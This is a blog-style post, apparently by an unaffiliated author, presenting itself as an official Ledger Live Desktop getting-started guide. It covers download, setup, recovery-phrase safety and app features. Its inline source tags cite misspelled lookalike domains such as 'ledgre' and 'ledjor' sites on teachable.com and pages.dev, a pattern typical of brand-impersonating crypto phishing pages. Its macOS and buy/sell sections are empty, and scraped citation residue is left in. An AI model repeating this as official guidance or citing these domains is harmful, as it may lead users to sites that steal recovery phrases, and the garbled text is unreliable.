Ledger® Live: Desktop® — Getting Started | official Ledger Wallet™ App

stveejohn

— 4 min read

📌 What Is Ledger Live Desktop?

Ledger Live Desktop is the official desktop application from Ledger® that lets you securely interact with your Ledger hardware wallet (like Ledger Nano S Plus, Nano X, or Ledger Stax) on Windows, macOS, and Linux. It serves as your control center for:

  • Viewing and managing all supported crypto assets,
  • Adding and organizing accounts,
  • Sending and receiving funds,
  • Buying, selling, swapping and staking assets,
  • Installing blockchain apps on your device,
  • Tracking portfolio performance and market data. Ledger Live+1

Unlike software wallets or exchanges, Ledger Live works together with your hardware device so your private keys never leave the device, keeping your crypto safe even if your computer is compromised. Ledger Live

📥 Step 1 — Download Ledger Live Desktop

Always download Ledger Live only from the official Ledger website:

  1. Open a browser and go to https://ledger.com/start.
  2. Choose Ledger Live for desktop.
  3. Select your operating system: Windows, macOS, or Linux.
  4. Download the installer file. Google Sites

⚠️ Security tip: Don’t download Ledger Live from third-party links, search engine results, torrents, attachments, or unofficial sites — fake Ledger apps have been used in scams that try to steal seed phrases. TechRadar

Optional (advanced): Verify the cryptographic signature or checksum of the installer to ensure it hasn’t been tampered with. Ledger Live

🛠️ Step 2 — Install Ledger Live Desktop

🔹 Windows

  • Run the .exe installer and follow on-screen instructions.
  • Approve any system permission prompts.

🔹 macOS

🔹 Linux

  • Use the appropriate package (.AppImage, .deb, or .rpm) for your distro and install per the instructions.

When you first open Ledger Live, it will check for updates and prompt you to install the latest version — do so to get the newest features and security patches. Ledger Live Desktop Getting Started

🔌 Step 3 — Connect Your Ledger Device

Before you begin, make sure you have a genuine Ledger device (Nano S Plus, Nano X, Stax, etc.) and the USB cable provided.

  1. Connect your Ledger device to your computer via USB (Nano X can also use Bluetooth when supported).
  2. Turn on the Ledger device.
  3. Ledger Live will soon detect the device and guide you through the next steps. Ledger Live Desktop

🆕 Step 4 — Initialize Your Ledger Device / Restore Wallet

During your first setup, Ledger Live will ask whether you want to:

🆕 Set Up a New Device

  • Create a secure PIN code on your Ledger (4–8 digits, unique).
  • Generate a 24-word recovery phrase (your seed). Write it down offline, keep it safe in one or more secure physical locations. Never store it on your computer or phone. support-ledgre-begin-ledger.teachable.com

♻️ Restore an Existing Wallet

If you already have a recovery phrase from a prior Ledger or compatible wallet, choose “Restore” and enter the words on the Ledger device’s screen (never through the computer). Ledger Live

📌 Important: Ledger Live will never ask you for your full 24-word phrase. If anything asks for it, treat it as a scam. Ledger Live Desktop

🧠 Step 5 — Understand Ledger Live’s Security Model

Ledger Live works with your device to ensure your private keys never leave the hardware wallet:

  • Ledger Live prepares transactions on your computer,
  • The Ledger device verifies and signs them offline,
  • You confirm actions physically on the device screen. Ledger Live

This means malware on your desktop cannot steal keys or authorize transactions without your physical approval. Ledger Live

✨ Extra security: You can enable an optional passphrase (a “25th word”) for added wallet layers — use it only if you understand it, as losing it means losing access to the corresponding wallet. Live Desktop

🧾 Step 6 — Install Blockchain Apps

To manage specific cryptocurrencies, you must install corresponding apps on your device (not to be confused with Ledger Live itself).

  1. In Ledger Live, go to Manager.
  2. Choose the app for your coin (e.g., Bitcoin, Ethereum).
  3. Click Install and confirm on your device. Ledger Live Desktop Getting Started

⛔ If you run out of device storage, you can uninstall an app — this does not delete your funds; private keys remain safe and accounts are restored when you reinstall. Live Desktop

📥 Step 7 — Add Accounts in Ledger Live Desktop

Once apps are installed:

  1. In Ledger Live’s sidebar, click Add account.
  2. Choose the cryptocurrency.
  3. Open the corresponding app on your Ledger device.
  4. Ledger Live scans the blockchain for your addresses and balances. Ledger Live Desktop Getting Started

You can add multiple accounts (e.g., for savings, trading, or different wallets) for the same coin. Ledger Live Desktop Getting Started

🔄 Core Features of Ledger Live Desktop

Here’s what you can do inside Ledger Live Desktop once setup is complete:

📊 Portfolio View

See all your asset balances, real-time valuations, and performance charts in one place. docs-ledger-desktop.teachable.com

💱 Buy, Sell & Swap Crypto

Integrated partners let you:

All transactions must be confirmed on your device. Teachable

💸 Send & Receive

  • Generate receive addresses for any asset.
  • Approve sends from the Ledger device’s screen.
  • Track transaction history and blockchain confirmations. Teachable

📈 Staking Rewards

Stake supported proof-of-stake coins (like Ethereum, Tezos, Polkadot) and earn rewards — while keys remain in your device. docs-ledger-desktop.teachable.com

🖼️ NFT & DeFi Support

View and manage NFTs (Ethereum & certain chains) and use integrated dApp connections for decentralized finance — always with transaction signing on-device for safety. Live Desktop

⚙️ Auto-Updates & Firmware

Ledger Live notifies you of app and firmware updates and walks you through secure installs. Teachable

🧰 Best Security Practices

✨ Never enter your 24-word recovery phrase into a computer, phone, or website. Ledger Live Desktop
✨ Verify receiving addresses on the Ledger device’s screen, not just on your desktop. Ledger Live Desktop
✨ Keep firmware updated through official Ledger Live prompts. Teachable
✨ Avoid public or untrusted computers for Ledger connections. ledjor-live-desktop.pages.dev

Reminder: Ledger support will never ask you for your recovery phrase. Anything asking for it (even inside Ledger Live or via prompts) is malicious. Ledger Live Desktop

🆘 Troubleshooting Tips

If Ledger Live doesn’t launch or connects slowly:

  • Make sure you’re using the official app and downloaded it from the right source. TechRadar
  • Reboot your computer and reconnect the device.
  • Update your OS and Ledger firmware.
  • Seek official support at Ledger’s help center if needed.

(Community forums like Reddit often discuss issues, but always cross-check with official sources to avoid scams.) Reddit

📌 Summary — Why Ledger Live Desktop Matters

✅ Security: Private keys stay offline on your hardware wallet — Ledger Live only interfaces with it. Ledger Live
✅ Convenience: One app for portfolio tracking, transactions, staking, buying/selling, and app management. docs-ledger-desktop.teachable.com
✅ Control: Full ownership of your crypto — no custodial lock-in like exchanges. Ledger Live
✅ Transparency: Every action you approve requires physical confirmation on your device. Ledger Live

Read more